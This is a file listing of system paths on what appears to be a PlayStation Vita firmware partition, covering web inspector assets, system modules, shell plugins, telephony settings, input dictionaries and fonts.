vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/toolbarIconsSmall.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/toolbarItemSelected.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/trackHoriz.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/trackVert.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/treeDownTriangleBlack.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/treeDownTriangleWhite.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/treeRightTriangleBlack.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/treeRightTriangleWhite.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/treeUpTriangleBlack.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/treeUpTriangleWhite.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/userInputIcon.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/userInputPreviousIcon.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/userInputResultIcon.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/warningIcon.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/warningMediumIcon.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/warningOrangeDot.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/Images/warningsErrors.png
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/NetworkPanel.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/ProfilesPanel.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/ResourcesPanel.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/ScriptFormatterWorker.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/ScriptsPanel.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/TimelinePanel.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/UglifyJS/parse-js.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/auditsPanel.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/breadcrumbList.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/breakpointsList.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/canvasProfiler.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/LICENSE
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/closebrackets.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/cmdevtools.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/codemirror.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/codemirror.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/css.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/htmlmixed.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/javascript.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/matchbrackets.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cm/xml.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/cssNamedFlows.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/dataGrid.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/dialog.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/elementsPanel.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/filteredItemSelectionDialog.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/flameChart.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/heapProfiler.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/helpScreen.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/indexedDBViews.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/inspector.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/inspector.html
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/inspector.js
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/inspectorCommon.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/inspectorSyntaxHighlight.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/navigatorView.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/networkLogView.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/networkPanel.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/panelEnablerView.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/popover.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/profilesPanel.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/resourceView.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/resourcesPanel.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/revisionHistory.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/scriptsPanel.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/sidebarPane.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/spectrum.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/splitView.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/tabbedPane.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/textEditor.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/textPrompt.css
vs0:data/external/webcore/remote-web-inspector/external/inspector/front-end/timelinePanel.css
vs0:data/external/webcore/remote-web-inspector/externald
vs0:data/external/webcore/remote-web-inspector/header.png
vs0:data/external/webcore/remote-web-inspector/inspector.html
vs0:data/external/webcore/remote-web-inspector/js/ExtensionAdapter.js
vs0:data/external/webcore/remote-web-inspector/js/Path.js
vs0:data/external/webcore/remote-web-inspector/js/RemoteWebInspector.js
vs0:data/external/webcore/remote-web-inspector/js/externs.js
vs0:data/external/webcore/silk.suprx
vs0:data/external/webcore/silk_base.suprx
vs0:data/external/webcore/silk_mrcommon.suprx
vs0:data/external/webcore/silk_mrserver.suprx
vs0:data/external/webcore/silk_webkit.suprx
vs0:data/external/webcore/theme/button/button_focus.png
vs0:data/external/webcore/theme/button/button_hover.png
vs0:data/external/webcore/theme/button/button_normal.png
vs0:data/external/webcore/theme/button/button_press.png
vs0:data/external/webcore/theme/checkbox/checkbox_off_focus.png
vs0:data/external/webcore/theme/checkbox/checkbox_off_hover.png
vs0:data/external/webcore/theme/checkbox/checkbox_off_normal.png
vs0:data/external/webcore/theme/checkbox/checkbox_on_focus.png
vs0:data/external/webcore/theme/checkbox/checkbox_on_hover.png
vs0:data/external/webcore/theme/checkbox/checkbox_on_normal.png
vs0:data/external/webcore/theme/menulist/menulist_focus.png
vs0:data/external/webcore/theme/menulist/menulist_hover.png
vs0:data/external/webcore/theme/menulist/menulist_normal.png
vs0:data/external/webcore/theme/menulist/menulist_press.png
vs0:data/external/webcore/theme/mouse/mouse_cursor_hover.png
vs0:data/external/webcore/theme/mouse/mouse_cursor_hover2.png
vs0:data/external/webcore/theme/mouse/mouse_cursor_input.png
vs0:data/external/webcore/theme/mouse/mouse_cursor_normal.png
vs0:data/external/webcore/theme/popupmenu/popupmenu_background.png
vs0:data/external/webcore/theme/popupmenu/popupmenu_highlight.png
vs0:data/external/webcore/theme/radio/radio_off_focus.png
vs0:data/external/webcore/theme/radio/radio_off_hover.png
vs0:data/external/webcore/theme/radio/radio_off_normal.png
vs0:data/external/webcore/theme/radio/radio_on_focus.png
vs0:data/external/webcore/theme/radio/radio_on_hover.png
vs0:data/external/webcore/theme/radio/radio_on_normal.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_background.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_button_hover.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_button_normal.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_button_press.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_down_button_hover.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_down_button_normal.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_down_button_press.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_up_button_hover.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_up_button_normal.png
vs0:data/external/webcore/theme/scrollbar/scrollbar_up_button_press.png
vs0:data/external/webcore/vita_jsextobj.suprx
vs0:data/external/webcore/webcore.suprx
vs0:data/external/webcore/webcore_server.suprx
vs0:data/external/widget
vs0:data/internal/bgm/shell
vs0:data/internal/effects/earth/psets
vs0:data/internal/effects/earth/textures/earth_spec_01.dds
vs0:data/internal/effects/earth/textures/rainbow.dds
vs0:data/internal/effects/page_turn/psets
vs0:data/internal/effects/page_turn/textures/page_corner.dds
vs0:data/internal/effects/panel/psets
vs0:data/internal/effects/particles/pattern1/psets
vs0:data/internal/effects/particles/pattern2/psets
vs0:data/internal/effects/particles/textures/palette.dds
vs0:data/internal/effects/particles/textures/proc_iridescent.dds
vs0:data/internal/effects/wave/psets
vs0:data/internal/icon/parental_lock.png
vs0:data/internal/icon/power.png
vs0:data/internal/keylock/keylock.png
vs0:data/internal/launch/list_launch_emu.dat
vs0:data/internal/launch/list_launch_teleport.dat
vs0:data/internal/launch/list_launch_vita.dat
vs0:data/internal/launch/version_launch.dat
vs0:data/internal/livearea/default/sce_sys/icon0.png
vs0:data/internal/livearea/default/sce_sys/livearea/contents/bg0.png
vs0:data/internal/livearea/default/sce_sys/livearea/contents/template.xml
vs0:data/internal/livearea/safebg.png
vs0:data/internal/theme/defaultTheme_homeScreen.png
vs0:data/internal/theme/defaultTheme_startScreen.png
vs0:data/internal/theme/theme_defaultImage.png
vs0:sys/external/activity_db.suprx
vs0:sys/external/adhoc_matching.suprx
vs0:sys/external/apputil.suprx
vs0:sys/external/apputil_ext.suprx
vs0:sys/external/audiocodec.suprx
vs0:sys/external/avcdec_for_player.suprx
vs0:sys/external/bXCe.suprx
vs0:sys/external/bgapputil.suprx
vs0:sys/external/common_gui_dialog.suprx
vs0:sys/external/dbrecovery_utility.suprx
vs0:sys/external/dbutil.suprx
vs0:sys/external/friend_select.suprx
vs0:sys/external/incoming_dialog.suprx
vs0:sys/external/ini_file_processor.suprx
vs0:sys/external/libSceBeisobmf.suprx
vs0:sys/external/libSceBemp2sys.suprx
vs0:sys/external/libSceCompanionUtil.suprx
vs0:sys/external/libSceDtcpIp.suprx
vs0:sys/external/libSceFt2.suprx
vs0:sys/external/libSceJson.suprx
vs0:sys/external/libSceMp4Rec.suprx
vs0:sys/external/libSceMusicExport.suprx
vs0:sys/external/libSceNearDialogUtil.suprx
vs0:sys/external/libSceNearUtil.suprx
vs0:sys/external/libScePhotoExport.suprx
vs0:sys/external/libScePromoterUtil.suprx
vs0:sys/external/libSceScreenShot.suprx
vs0:sys/external/libSceShutterSound.suprx
vs0:sys/external/libSceSqlite.suprx
vs0:sys/external/libSceTelephonyUtil.suprx
vs0:sys/external/libSceTeleportClient.suprx
vs0:sys/external/libSceTeleportServer.suprx
vs0:sys/external/libSceVideoExport.suprx
vs0:sys/external/libSceVideoSearchEmpr.suprx
vs0:sys/external/libSceXml.suprx
vs0:sys/external/libatrac.suprx
vs0:sys/external/libc.suprx
vs0:sys/external/libcdlg.suprx
vs0:sys/external/libcdlg_calendar_review.suprx
vs0:sys/external/libcdlg_cameraimport.suprx
vs0:sys/external/libcdlg_checkout.suprx
vs0:sys/external/libcdlg_companion.suprx
vs0:sys/external/libcdlg_compat.suprx
vs0:sys/external/libcdlg_cross_controller.suprx
vs0:sys/external/libcdlg_friendlist.suprx
vs0:sys/external/libcdlg_friendlist2.suprx
vs0:sys/external/libcdlg_game_custom_data.suprx
vs0:sys/external/libcdlg_game_custom_data_impl.suprx
vs0:sys/external/libcdlg_ime.suprx
vs0:sys/external/libcdlg_invitation.suprx
vs0:sys/external/libcdlg_invitation_impl.suprx
vs0:sys/external/libcdlg_main.suprx
vs0:sys/external/libcdlg_msg.suprx
vs0:sys/external/libcdlg_near.suprx
vs0:sys/external/libcdlg_netcheck.suprx
vs0:sys/external/libcdlg_np_message.suprx
vs0:sys/external/libcdlg_np_sns_fb.suprx
vs0:sys/external/libcdlg_np_trophy_setup.suprx
vs0:sys/external/libcdlg_npeula.suprx
vs0:sys/external/libcdlg_npprofile2.suprx
vs0:sys/external/libcdlg_photoimport.suprx
vs0:sys/external/libcdlg_photoreview.suprx
vs0:sys/external/libcdlg_pocketstation.suprx
vs0:sys/external/libcdlg_remote_osk.suprx
vs0:sys/external/libcdlg_savedata.suprx
vs0:sys/external/libcdlg_tw_login.suprx
vs0:sys/external/libcdlg_twitter.suprx
vs0:sys/external/libclipboard.suprx
vs0:sys/external/libdbg.suprx
vs0:sys/external/libfiber.suprx
vs0:sys/external/libfios2.suprx
vs0:sys/external/libg729.suprx
vs0:sys/external/libgameupdate.suprx
vs0:sys/external/libhandwriting.suprx
vs0:sys/external/libhttp.suprx
vs0:sys/external/libime.suprx
vs0:sys/external/libipmi_nongame.suprx
vs0:sys/external/liblocation.suprx
vs0:sys/external/liblocation_extension.suprx
vs0:sys/external/liblocation_factory.suprx
vs0:sys/external/liblocation_internal.suprx
vs0:sys/external/libmln.suprx
vs0:sys/external/libmlnapplib.suprx
vs0:sys/external/libmlndownloader.suprx
vs0:sys/external/libnaac.suprx
vs0:sys/external/libnet.suprx
vs0:sys/external/libnetctl.suprx
vs0:sys/external/libngs.suprx
vs0:sys/external/libpaf.suprx
vs0:sys/external/libpaf_web_map_view.suprx
vs0:sys/external/libperf.suprx
vs0:sys/external/libpgf.suprx
vs0:sys/external/libpvf.suprx
vs0:sys/external/librudp.suprx
vs0:sys/external/libsas.suprx
vs0:sys/external/libsceavplayer.suprx
vs0:sys/external/libscejpegarm.suprx
vs0:sys/external/libscejpegencarm.suprx
vs0:sys/external/libscemp4.suprx
vs0:sys/external/libshellsvc.suprx
vs0:sys/external/libssl.suprx
vs0:sys/external/libsulpha.suprx
vs0:sys/external/libsystemgesture.suprx
vs0:sys/external/libult.suprx
vs0:sys/external/libvoice.suprx
vs0:sys/external/libvoiceqos.suprx
vs0:sys/external/livearea_util.suprx
vs0:sys/external/mail_api_for_local_libc.suprx
vs0:sys/external/near_profile.suprx
vs0:sys/external/notification_util.suprx
vs0:sys/external/np_activity.suprx
vs0:sys/external/np_activity_sdk.suprx
vs0:sys/external/np_basic.suprx
vs0:sys/external/np_commerce2.suprx
vs0:sys/external/np_common.suprx
vs0:sys/external/np_common_ps4.suprx
vs0:sys/external/np_friend_privacylevel.suprx
vs0:sys/external/np_kdc.suprx
vs0:sys/external/np_manager.suprx
vs0:sys/external/np_matching2.suprx
vs0:sys/external/np_message.suprx
vs0:sys/external/np_message_contacts.suprx
vs0:sys/external/np_message_dialog_impl.suprx
vs0:sys/external/np_message_padding.suprx
vs0:sys/external/np_party.suprx
vs0:sys/external/np_ranking.suprx
vs0:sys/external/np_signaling.suprx
vs0:sys/external/np_sns_facebook.suprx
vs0:sys/external/np_trophy.suprx
vs0:sys/external/np_tus.suprx
vs0:sys/external/np_utility.suprx
vs0:sys/external/np_webapi.suprx
vs0:sys/external/party_member_list.suprx
vs0:sys/external/psmkdc.suprx
vs0:sys/external/pspnet_adhoc.suprx
vs0:sys/external/signin_ext.suprx
vs0:sys/external/sqlite.suprx
vs0:sys/external/store_checkout_plugin.suprx
vs0:sys/external/trigger_util.suprx
vs0:sys/external/web_ui_plugin.suprx
vs0:sys/internal
vs0:tool
vs0:vsh/common/app_settings.suprx
vs0:vsh/common/app_settings_plugin.rco
vs0:vsh/common/auth_plugin.rco
vs0:vsh/common/auth_plugin.suprx
vs0:vsh/common/av_content_handler.suprx
vs0:vsh/common/backup_restore.suprx
vs0:vsh/common/content_operation.suprx
vs0:vsh/common/dbrecovery_plugin.rco
vs0:vsh/common/dbrecovery_plugin.suprx
vs0:vsh/common/dbsetup.suprx
vs0:vsh/common/libBEAVCorePlayer.suprx
vs0:vsh/common/libFflMp4.suprx
vs0:vsh/common/libSenvuabsFFsdk.suprx
vs0:vsh/common/libical.suprx
vs0:vsh/common/libicalss.suprx
vs0:vsh/common/libmarlin.suprx
vs0:vsh/common/libmarlin_pb.suprx
vs0:vsh/common/libmarlindownloader.suprx
vs0:vsh/common/libmtp.suprx
vs0:vsh/common/libmtphttp.suprx
vs0:vsh/common/libmtphttp_wrapper.suprx
vs0:vsh/common/libvideoprofiler.suprx
vs0:vsh/common/mail_api_for_local.suprx
vs0:vsh/common/mms/AACPromoter.suprx
vs0:vsh/common/mms/Mp3Promoter.suprx
vs0:vsh/common/mms/MsvPromoter.suprx
vs0:vsh/common/mms/RiffPromoter.suprx
vs0:vsh/common/mms/SensMe.suprx
vs0:vsh/common/mms/bmp_promoter.suprx
vs0:vsh/common/mms/db_template/AVContentMusic.db
vs0:vsh/common/mms/db_template/AVContentPhoto.db
vs0:vsh/common/mms/db_template/AVContentVideo.db
vs0:vsh/common/mms/db_template/addressbook.db
vs0:vsh/common/mms/db_template/calendar.db
vs0:vsh/common/mms/db_template/friends.db
vs0:vsh/common/mms/db_template/grpmsgui.db
vs0:vsh/common/mms/db_template/messages.db
vs0:vsh/common/mms/db_template/near.db
vs0:vsh/common/mms/gif_promoter.suprx
vs0:vsh/common/mms/jpeg_promoter.suprx
vs0:vsh/common/mms/meta_gen.suprx
vs0:vsh/common/mms/png_promoter.suprx
vs0:vsh/common/mms/tiff_promoter.suprx
vs0:vsh/common/mtp_client.suprx
vs0:vsh/common/mtpr3.suprx
vs0:vsh/common/np_grief_report.suprx
vs0:vsh/common/webcore.suprx
vs0:vsh/etc/index.dat
vs0:vsh/game/contents
vs0:vsh/game/gamecard_installer_plugin.rco
vs0:vsh/game/gamecard_installer_plugin.suprx
vs0:vsh/game/gamedata_plugin.rco
vs0:vsh/game/gamedata_plugin.suprx
vs0:vsh/game/psm/contents/LA_DeveloperLink.png
vs0:vsh/game/psm/contents/LA_bg.png
vs0:vsh/game/psm/contents/notice_frame.xml
vs0:vsh/game/psm/runtime_icon.png
vs0:vsh/game/psm/runtime_version.txt
vs0:vsh/game/psp_icon_base.raw
vs0:vsh/import_savedata/import_savedata_plugin.rco
vs0:vsh/initialsetup/firstboot_plugin.rco
vs0:vsh/initialsetup/initialsetup.self
vs0:vsh/initialsetup/initialsetup_plugin.rco
vs0:vsh/initialsetup/sce_sys/param.sfo
vs0:vsh/mtpresponder/CMAInstaller.img
vs0:vsh/mtpresponder/DevIcon.fil
vs0:vsh/online_storage/online_storage_plugin.rco
vs0:vsh/online_storage/online_storage_plugin.suprx
vs0:vsh/shell/applauncher_plugin.rco
vs0:vsh/shell/auth_reset_plugin.rco
vs0:vsh/shell/auth_reset_plugin.suprx
vs0:vsh/shell/builtin_service_info.rco
vs0:vsh/shell/coldboot_plugin.rco
vs0:vsh/shell/download_plugin.rco
vs0:vsh/shell/idu_update_plugin.rco
vs0:vsh/shell/idu_update_plugin.suprx
vs0:vsh/shell/ime_plugin.rco
vs0:vsh/shell/ime_plugin.suprx
vs0:vsh/shell/impose_net_plugin.rco
vs0:vsh/shell/impose_net_plugin.suprx
vs0:vsh/shell/impose_plugin.rco
vs0:vsh/shell/indicator_plugin.rco
vs0:vsh/shell/liblocation_permission.suprx
vs0:vsh/shell/livearea/a1.rco
vs0:vsh/shell/livearea/a2.rco
vs0:vsh/shell/livearea/a3.rco
vs0:vsh/shell/livearea/a4.rco
vs0:vsh/shell/livearea/a5.rco
vs0:vsh/shell/livearea/ad0.rco
vs0:vsh/shell/livearea/ad1.rco
vs0:vsh/shell/livearea/ad2.rco
vs0:vsh/shell/livearea/ad3.rco
vs0:vsh/shell/livearea/ad4.rco
vs0:vsh/shell/livearea/browser.rco
vs0:vsh/shell/livearea/content_manager.rco
vs0:vsh/shell/livearea/kids.rco
vs0:vsh/shell/livearea/music.rco
vs0:vsh/shell/livearea/nsx1.rco
vs0:vsh/shell/livearea/ps1emu.rco
vs0:vsh/shell/livearea/psmobile.rco
vs0:vsh/shell/livearea/pspemu.rco
vs0:vsh/shell/livearea/vd.rco
vs0:vsh/shell/livearea_icon.png
vs0:vsh/shell/livearea_plugin.rco
vs0:vsh/shell/livespace_db.suprx
vs0:vsh/shell/location_dialog_plugin.suprx
vs0:vsh/shell/location_plugin.rco
vs0:vsh/shell/musiccore_plugin.rco
vs0:vsh/shell/power_manage_plugin.rco
vs0:vsh/shell/shell.self
vs0:vsh/shell/telephony/apn/tel_apn_list0a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list0b.ini
vs0:vsh/shell/telephony/apn/tel_apn_list1a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list1b.ini
vs0:vsh/shell/telephony/apn/tel_apn_list2a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list2b.ini
vs0:vsh/shell/telephony/apn/tel_apn_list3a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list3b.ini
vs0:vsh/shell/telephony/apn/tel_apn_list4a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list4b.ini
vs0:vsh/shell/telephony/apn/tel_apn_list5a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list5b.ini
vs0:vsh/shell/telephony/apn/tel_apn_list6a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list6b.ini
vs0:vsh/shell/telephony/apn/tel_apn_list7a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list7b.ini
vs0:vsh/shell/telephony/apn/tel_apn_list8a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list8b.ini
vs0:vsh/shell/telephony/apn/tel_apn_list9a.ini
vs0:vsh/shell/telephony/apn/tel_apn_list9b.ini
vs0:vsh/shell/telephony/initial_check/tel_initial_check_plugin.rco
vs0:vsh/shell/telephony/initial_check/tel_initial_check_plugin.suprx
vs0:vsh/shell/telephony/tel_antenna_info.ini
vs0:vsh/shell/telephony/tel_apn_list.ini
vs0:vsh/shell/telephony/tel_operator_name_list.ini
vs0:vsh/shell/telephony/tel_operator_profile.ini
vs0:vsh/shell/telephony/telephony_sms.db
vs0:vsh/shell/telephony_plugin.rco
vs0:vsh/shell/theme_plugin.rco
vs0:vsh/shell/topmenu_plugin.rco
vs0:vsh/shell/trophy/bronze_thum.gim
vs0:vsh/shell/trophy/gold_thum.gim
vs0:vsh/shell/trophy/platinum_thum.gim
vs0:vsh/shell/trophy/silver_thum.gim
sa0:data/dic/utf16be/DA/DA/njubase1.a
sa0:data/dic/utf16be/DA/DA/njubase2.a
sa0:data/dic/utf16be/DA/DA/njubase3.a
sa0:data/dic/utf16be/DA/njcon.a
sa0:data/dic/utf16be/DE/njcon.a
sa0:data/dic/utf16be/DE/regular/njexyomi.a
sa0:data/dic/utf16be/DE/regular/njubase1.a
sa0:data/dic/utf16be/DE/regular/njubase2.a
sa0:data/dic/utf16be/DE/regular/njubase3.a
sa0:data/dic/utf16be/EN/GB/njubase1gb.a
sa0:data/dic/utf16be/EN/US/njubase1us.a
sa0:data/dic/utf16be/EN/njcon.a
sa0:data/dic/utf16be/EN/njubase1.a
sa0:data/dic/utf16be/EN/njubase2.a
sa0:data/dic/utf16be/EN/njubase3.a
sa0:data/dic/utf16be/EN/njyomi.a
sa0:data/dic/utf16be/ES/ES/njexyomi.a
sa0:data/dic/utf16be/ES/ES/njubase1.a
sa0:data/dic/utf16be/ES/ES/njubase2.a
sa0:data/dic/utf16be/ES/ES/njubase3.a
sa0:data/dic/utf16be/ES/njcon.a
sa0:data/dic/utf16be/FI/FI/njubase1.a
sa0:data/dic/utf16be/FI/FI/njubase2.a
sa0:data/dic/utf16be/FI/FI/njubase3.a
sa0:data/dic/utf16be/FI/njcon.a
sa0:data/dic/utf16be/FR/FR/regular/njexyomi.a
sa0:data/dic/utf16be/FR/FR/regular/njubase1.a
sa0:data/dic/utf16be/FR/FR/regular/njubase2.a
sa0:data/dic/utf16be/FR/FR/regular/njubase3.a
sa0:data/dic/utf16be/FR/njcon.a
sa0:data/dic/utf16be/IT/IT/njexyomi.a
sa0:data/dic/utf16be/IT/IT/njubase1.a
sa0:data/dic/utf16be/IT/IT/njubase2.a
sa0:data/dic/utf16be/IT/IT/njubase3.a
sa0:data/dic/utf16be/IT/njcon.a
sa0:data/dic/utf16be/JA/16/njexyomi.a
sa0:data/dic/utf16be/JA/16/njfzk.a
sa0:data/dic/utf16be/JA/16/njtan.a
sa0:data/dic/utf16be/JA/16/njubase1.a
sa0:data/dic/utf16be/JA/16/njubase2.a
sa0:data/dic/utf16be/JA/16/text
sa0:data/dic/utf16be/JA/njcon.a
sa0:data/dic/utf16be/KO/njcon.a
sa0:data/dic/utf16be/KO/njexyomi.a
sa0:data/dic/utf16be/KO/njtan.a
sa0:data/dic/utf16be/KO/njubase1.a
sa0:data/dic/utf16be/KO/njubase2.a
sa0:data/dic/utf16be/NL/NL/njubase1.a
sa0:data/dic/utf16be/NL/NL/njubase2.a
sa0:data/dic/utf16be/NL/NL/njubase3.a
sa0:data/dic/utf16be/NL/njcon.a
sa0:data/dic/utf16be/NO/NO/njubase1.a
sa0:data/dic/utf16be/NO/NO/njubase2.a
sa0:data/dic/utf16be/NO/NO/njubase3.a
sa0:data/dic/utf16be/NO/njcon.a
sa0:data/dic/utf16be/PL/PL/njubase1.a
sa0:data/dic/utf16be/PL/PL/njubase2.a
sa0:data/dic/utf16be/PL/PL/njubase3.a
sa0:data/dic/utf16be/PL/njcon.a
sa0:data/dic/utf16be/PT/BR/regular/njexyomi.a
sa0:data/dic/utf16be/PT/BR/regular/njubase1.a
sa0:data/dic/utf16be/PT/BR/regular/njubase2.a
sa0:data/dic/utf16be/PT/BR/regular/njubase3.a
sa0:data/dic/utf16be/PT/PT/regular/njexyomi.a
sa0:data/dic/utf16be/PT/PT/regular/njubase1.a
sa0:data/dic/utf16be/PT/PT/regular/njubase2.a
sa0:data/dic/utf16be/PT/PT/regular/njubase3.a
sa0:data/dic/utf16be/PT/njcon.a
sa0:data/dic/utf16be/RU/njcon.a
sa0:data/dic/utf16be/RU/regular/njexyomi.a
sa0:data/dic/utf16be/RU/regular/njubase1.a
sa0:data/dic/utf16be/RU/regular/njubase2.a
sa0:data/dic/utf16be/RU/regular/njubase3.a
sa0:data/dic/utf16be/SV/SV/njubase1.a
sa0:data/dic/utf16be/SV/SV/njubase2.a
sa0:data/dic/utf16be/SV/SV/njubase3.a
sa0:data/dic/utf16be/SV/njcon.a
sa0:data/dic/utf16be/ZH/CN/njcon.a
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njexyomi.a
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njexyomi.ad1
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njtan.a
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njtan.ad1.arz
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njubase1.a
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njubase1.ad1.arz
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njubase2.a
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njubase2.ad1.arz
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njubase3.a
sa0:data/dic/utf16be/ZH/CN/pinyin/GB18030/njubase3.ad1.arz
sa0:data/dic/utf16be/ZH/HK/jyutping/njexyomi.a
sa0:data/dic/utf16be/ZH/HK/jyutping/njexyomi.ad1
sa0:data/dic/utf16be/ZH/HK/jyutping/njtan.a
sa0:data/dic/utf16be/ZH/HK/jyutping/njtan.ad1.arz
sa0:data/dic/utf16be/ZH/HK/jyutping/njubase1.a
sa0:data/dic/utf16be/ZH/HK/jyutping/njubase1.ad1.arz
sa0:data/dic/utf16be/ZH/HK/jyutping/njubase2.a
sa0:data/dic/utf16be/ZH/HK/jyutping/njubase2.ad1.arz
sa0:data/dic/utf16be/ZH/HK/njcon.a
sa0:data/dic/utf16be/ZH/TW/bopomofo/njexyomi.a
sa0:data/dic/utf16be/ZH/TW/bopomofo/njexyomi.ad1
sa0:data/dic/utf16be/ZH/TW/bopomofo/njtan.a
sa0:data/dic/utf16be/ZH/TW/bopomofo/njtan.ad1.arz
sa0:data/dic/utf16be/ZH/TW/bopomofo/njubase1.a
sa0:data/dic/utf16be/ZH/TW/bopomofo/njubase1.ad1.arz
sa0:data/dic/utf16be/ZH/TW/bopomofo/njubase2.a
sa0:data/dic/utf16be/ZH/TW/bopomofo/njubase2.ad1.arz
sa0:data/dic/utf16be/ZH/TW/cangjie/njcangjie.a.arz
sa0:data/dic/utf16be/ZH/TW/njcon.a
sa0:data/dic/utf16be/ZH/TW/pinyin/njexyomi.a
sa0:data/dic/utf16be/ZH/TW/pinyin/njexyomi.ad1
sa0:data/dic/utf16be/ZH/TW/pinyin/njtan.a
sa0:data/dic/utf16be/ZH/TW/pinyin/njtan.ad1.arz
sa0:data/dic/utf16be/ZH/TW/pinyin/njubase1.a
sa0:data/dic/utf16be/ZH/TW/pinyin/njubase1.ad1.arz
sa0:data/dic/utf16be/ZH/TW/pinyin/njubase2.a
sa0:data/dic/utf16be/ZH/TW/pinyin/njubase2.ad1.arz
sa0:data/font/emoji
sa0:data/font/pgf/arib.pgf
sa0:data/font/pgf/gb3s1518.bwfon
sa0:data/font/pgf/jpn0.pgf
sa0:data/font/pgf/kr0.pgf
sa0:data/font/pgf/ltn0.pgf
sa0:data/font/pgf/ltn1.pgf
sa0:data/font/pgf/ltn10.pgf
sa0:data/font/pgf/ltn11.pgf
sa0:data/font/pgf/ltn12.pgf
sa0:data/font/pgf/ltn13.pgf
